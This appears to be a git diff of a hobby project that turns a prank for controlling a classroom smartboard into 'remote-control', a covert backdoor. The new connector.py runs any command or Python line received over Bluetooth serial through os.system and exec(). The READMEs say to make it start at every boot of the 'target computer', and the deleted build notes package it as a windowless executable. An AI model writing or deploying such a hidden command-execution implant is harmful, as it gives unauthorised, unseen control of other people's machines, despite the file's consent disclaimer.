diff --git a/HackTheTahta.ino.old b/HackTheTahta.ino.old deleted file mode 100644 index e627a69..0000000 --- a/HackTheTahta.ino.old +++ /dev/null @@ -1,59 +0,0 @@ -#define buttons A0 -/* #include */ -#include -/* int b1 = 0; -int b2 = 0; -int b3 = 0; -int b4 = 0; -int c1 = 0; -int c2 = 0; -int c3 = 0; -int c4 = 0; */ - -SoftwareSerial mySerial(7, 6); - -void setup() { - // Serial.begin(9600); - /* Keyboard.begin(); */ - mySerial.begin(9600); - Serial.begin(9600); -} - -void loop() { - int btnInp = analogRead(buttons); - /* mySerial.println(btnInp); */ - if(btnInp>1000){ - mySerial.println("1"); - /* Keyboard.press(KEY_LEFT_ALT); - Keyboard.press(KEY_TAB); - Keyboard.releaseAll(); */ - delay(1000); - } - else if(btnInp>400 && btnInp<600){ - mySerial.println("2"); - /* Keyboard.press(KEY_LEFT_GUI); - Keyboard.press('d'); - Keyboard.releaseAll(); */ - delay(1000); - } - else if(btnInp>300 && btnInp<400){ - mySerial.println("3"); - /* Keyboard.press(KEY_LEFT_ALT); - Keyboard.press(KEY_F4); - Keyboard.releaseAll(); */ - delay(1000); - } - else if(btnInp>200 && btnInp<300){ - mySerial.println("4"); - /* Keyboard.press(' '); - Keyboard.releaseAll(); */ - delay(1000); - } - /* else { - mySerial.println(btnInp); - } */ - /* if(btnInp==1023 && c1==0){c1=1;} else if(c1==1){c1=0;b1=1;} - if(btnInp==510 && c2==0){c2=1;} else if(c2==1){c2=0;b1=1;} - if(btnInp==335 && c3==0){c3=1;} else if(c3==1){c3=0;b1=1;} - if(btnInp==251 && c4==0){c4=1;} else if(c4==1){c4=0;b1=1;} */ -} diff --git a/HackTheTahta.ino.old+ b/HackTheTahta.ino.old+ deleted file mode 100644 index 4a0c148..0000000 --- a/HackTheTahta.ino.old+ +++ /dev/null @@ -1,33 +0,0 @@ -#define buttons A0 -#include - -SoftwareSerial mySerial(7, 6); - -void setup() { - mySerial.begin(9600); - // Serial.begin(9600); -} - -void loop() { - int btnInp = analogRead(buttons); - // mySerial.println(btnInp); - if(btnInp>1000){ - mySerial.println("1"); - delay(1000); - } - else if(btnInp>400 && btnInp<600){ - mySerial.println("2"); - delay(1000); - } - else if(btnInp>300 && btnInp<400){ - mySerial.println("3"); - delay(1000); - } - else if(btnInp>200 && btnInp<300){ - mySerial.println("4"); - delay(1000); - } - /* else { - mySerial.println(btnInp); - } */ -} diff --git a/OKU_BENI.md b/OKU_BENI.md new file mode 100644 index 0000000..3b6b120 --- /dev/null +++ b/OKU_BENI.md @@ -0,0 +1,21 @@ +# remote-control + +Hedef bilgisayar üzerinde arduino ve bluetooth modülü ile istediğiniz sitem komutunu ve python kodunu çalıştırmanızı sağlayan bir kod. + +## Kurulum +Bu kodu bir şekilde hedef bilgisayar her açıldığında çalıştıracak hale getirmeniz yeterlidir. + +## Kullanım +Hedef bilgisayara kurulumu yapın ve HC-05 yada HC-06 gibi bluetooth modülleri ile oluşturacağınız devreyi çalıştırın. Devreyi sizin için tespit edecek ve eğer açıksa bağlanacak. Bağlanıp bağlanmadığını bluetooth modülü üzerindeki led ışık ile anlayabilirsiniz. Sonrasından devrenin bluetooth bağlantısı üzerinden gönderdiği komutları kod çalıştıracaktır. + +### Python kodu çalıştırmak + +Eğer pthon kodu çalıştırmak istiyorsanız direkt kod satırını seri bluetooth bağlantısı üzerinden göndermeniz yeterlidir. + +### Sistem komutları çalıştırmak + +Komutun başına `$` karakteri koyup seri bluetooth bağlantısı üzerinden göndermeniz yeterlidir. + +## Uyarı + +Sorumluluğu üzerime almam bu kodu kullanarak sorumluluğun sizin üzerinizde olduğunu kabul etmiş olursunuz. Bu kod eğlence amaçlı yazılmıştır. Hedef bilgisayarın sahibinin rızası olmadan kullanmanızı tavsiye etmem. \ No newline at end of file diff --git a/README.md b/README.md index 7671a54..e7248ec 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,21 @@ -# Hack The Tahta +# remote-control -Okuldaki tahtayı arduino ve HC-05 modülü ile uzaktan kontrol etme işlevini gören bizim sınıfa eğlenceli vakitler geçirten bir proje. +A code that allows you to execute any system command and Python code on a target computer using an Arduino and a Bluetooth module. -## Kurulum -Bu kodu derleyip yada tahtaya python3 yükleyip bilgisayar her açıldğında çalışmasını sağlayan bir hale getirip kullanabilir ve eğlenceli vakitler geçirebilirsiniz. +## Installation +It's sufficient to ensure that this code runs every time the target computer starts. -## Kullanım -bu program kodda yaptığınız ayarlamalara göre neredeyse istediğinizi yapabilirsiniz ben tuşlara göre kapatma masaüstüne alma gibi işlemler atadım. \ No newline at end of file +## Usage +Install it on the target computer and run the circuit you will create with Bluetooth modules like HC-05 or HC-06. The circuit will detect and connect to the Bluetooth module if it is on. You can tell if it is connected by the LED light on the Bluetooth module. Afterwards, the code will execute commands sent over the Bluetooth connection of the circuit. + +### Running Python code + +If you want to run Python code, simply send the code line over the serial Bluetooth connection. + +### Executing system commands + +Simply place the `$` character before the command and send it over the serial Bluetooth connection. + +## Warning + +I do not take responsibility for the use of this code. By using this code, you accept that the responsibility lies with you. This code is written for entertainment purposes. It is not recommended to use it without the consent of the owner of the target computer. diff --git a/compile.txt b/compile.txt deleted file mode 100644 index 3432adb..0000000 --- a/compile.txt +++ /dev/null @@ -1,5 +0,0 @@ -minify command: pyminify --output connector.py --rename-globals connector_source.py - -compile command: python -m nuitka --onefile --assume-yes-for-downloads --disable-console connector.py - -compile pyinstaller: pyinstaller --noconsole --icon=NONE --onefile connector.py \ No newline at end of file diff --git a/connector.py b/connector.py index d28a877..231fe72 100644 --- a/connector.py +++ b/connector.py @@ -1,26 +1,113 @@ +#○--- Imports ---○# + +# import module for serial communication import serial + +# import module for listing serial ports import serial.tools.list_ports -import keyboard -ports=serial.tools.list_ports.comports() -bports=[] -p=None + +# import module for controlling mouse and keyboard +from pyautogui import * + +# import module for system command calls +from os import system as call + +#○--- Imports ---○# + + + + +#○--- Main ---○# + + +#○--- Detecting Bluetooth port ---○# + +# asign serial ports to variable +ports = serial.tools.list_ports.comports() +# create list for bluetooth ports +bluetooth_ports = [] +# create variable for serial port +port = None + +# print info print('Searching for serial port communication...') -while len(bports)==0: - for(port,desc,hwid)in sorted(ports): - if'Bluetooth'in desc:bports.append(port);print(f"Detected {desc}") -for port in bports: - for dp in bports: - if int(port[len(port)-1:])>int(dp[len(dp)-1:]):p=int(port[len(port)-1:]) + +# while loop to detect bluetooth +while len(bluetooth_ports) == 0: + + # for loop to list serial ports + for (port, desc, hwid) in sorted(ports): + + # if statement to detect bluetooth + if ('Bluetooth' in desc): + + # add bluetooth port to list + bluetooth_ports.append(port) + # print info + print(f"Detected {desc}") + +# for loop to list bluetooth ports +for this_port in bluetooth_ports: + + # for loop to list bluetooth ports + for detected_port in bluetooth_ports: + + # if statement to compare bluetooth ports + if int( this_port[ len(this_port) - 1 : ] ) > int( detected_port[ len(detected_port) - 1 : ] ): + # set port to bluetooth port + port = int(this_port[ len(this_port) - 1 : ]) + + +#○--- Detecting Bluetooth port ---○# + + + +# print info +print(f"Using {port}") + + + +#○--- Listening Bluetooth port for commands ---○# + +# create infinite loop while True: + + # try except block try: - with serial.Serial('COM'+str(p),9600,timeout=1)as ser: + + # start serial communication + with serial.Serial('COM' + str(port), 9600, timeout = 1) as ser: + + # while loop to read data while True: - line=ser.readline();con=str(line)[2:len(str(line))-5] - if len(str(line))!=3: - if con=='1':keyboard.send('alt+tab') - elif con=='2':keyboard.send('win+d') - elif con=='3':keyboard.send('alt+f4') - elif con=='4':keyboard.send('space') - print(con) - except: - continue \ No newline at end of file + + # read data and convert to string + line = ser.readline() + content = str(line)[ 2 : len(str(line)) - 5 ] + + # if statement to check if data is not empty + if len(str(line)) != 3: + + # if statement to check if data starts with $ + if content.startswith("$"): + + # execute system command + call(content[1:]) + # print info + print(" $ " + content[1:]) + + else: + + # execute python code + exec(content) + # print info + print(content) + + except Exception as e: + print(e) + + +#○--- Listening Bluetooth port for commands ---○# + + +#○--- Main ---○# diff --git a/connector.spec b/connector.spec deleted file mode 100644 index 1f8eb73..0000000 --- a/connector.spec +++ /dev/null @@ -1,45 +0,0 @@ -# -*- mode: python ; coding: utf-8 -*- - - -block_cipher = None - - -a = Analysis( - ['connector.py'], - pathex=[], - binaries=[], - datas=[], - hiddenimports=[], - hookspath=[], - hooksconfig={}, - runtime_hooks=[], - excludes=[], - win_no_prefer_redirects=False, - win_private_assemblies=False, - cipher=block_cipher, - noarchive=False, -) -pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) - -exe = EXE( - pyz, - a.scripts, - a.binaries, - a.zipfiles, - a.datas, - [], - name='connector', - debug=False, - bootloader_ignore_signals=False, - strip=False, - upx=True, - upx_exclude=[], - runtime_tmpdir=None, - console=False, - disable_windowed_traceback=False, - argv_emulation=False, - target_arch=None, - codesign_identity=None, - entitlements_file=None, - icon='NONE', -) diff --git a/HackTheTahta.ino b/remote_control.ino similarity index 65% rename from HackTheTahta.ino rename to remote_control.ino index 7cbb46e..3c430cf 100644 --- a/HackTheTahta.ino +++ b/remote_control.ino @@ -5,29 +5,31 @@ SoftwareSerial mySerial(7, 6); void setup() { mySerial.begin(9600); - //Serial.begin(9600); + pinMode(13, OUTPUT); + digitalWrite(13, HIGH); + // Serial.begin(9600); } void loop() { int btnInp = analogRead(buttons); //mySerial.println(btnInp); if(btnInp>1000){ - mySerial.println("EK-alt+tab"); + mySerial.println("hotkey('alt', 'tab')"); delay(1000); } else if(btnInp>400 && btnInp<600){ - mySerial.println("EK-win+d"); + mySerial.println("hotkey('win', 'd')"); delay(1000); } else if(btnInp>300 && btnInp<400){ - mySerial.println("EK-alt+f4"); + mySerial.println("hotkey('alt', 'f4')"); delay(1000); } else if(btnInp>200 && btnInp<300){ - mySerial.println("EK-space"); + mySerial.println("press('space')"); delay(1000); } /* else { mySerial.println(btnInp); } */ -} +} \ No newline at end of file